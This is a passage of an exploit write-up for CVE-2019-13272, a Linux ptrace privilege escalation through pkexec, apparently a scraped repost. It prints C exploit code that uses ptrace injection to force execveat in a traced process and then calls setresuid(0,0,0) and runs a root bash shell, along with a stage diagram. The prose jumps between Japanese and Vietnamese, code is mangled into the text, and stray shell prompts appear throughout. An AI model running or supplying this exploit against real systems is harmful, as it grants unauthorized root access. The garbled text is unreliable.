120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

force_exec_and_waitの機能は、ptraceを使用してtraceeにexecveat関数を実行させ、プロセスイメージを置き換えることです。ここでは、task Bを制御してtask Aのプロセス(つまりexploitの実行プログラム - binary exploitファイル)を実行させ、パラメータとしてstage2を渡してtask Bにmiddle_stage2関数を実行させます。``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
Hàm middle_stage2 cũng gọi force_exec_and_wait, sẽ làm cho task B sử dụng ptrace để điều khiển task C thực hiện hàm execveat, thay thế image của task C bằng tệp nhị phân của exploit và tham số là stage3``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

エクスプロイトバイナリファイルがstage3パラメータで実行されると、spawn_shell関数が実行されるため、タスクCの最終段階はspawn_shellの実行です。``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
spawn_shell関数では、まずsetresgid/setresuidを使用して、プロセスのreal uid/effective uid/save uidをrootに変更します。タスクCがsuidバイナリを実行し、自身のeuidをrootに変更したばかりであるため、ここでsetresuid/setresgidは正常に実行できます。この時点で、タスクCは完全なrootプロセスになります。最後に、execlpを実行してシェルを起動し、このシェルはrootのすべての権限を持つことになります。``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

引用

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

ツールをダウンロード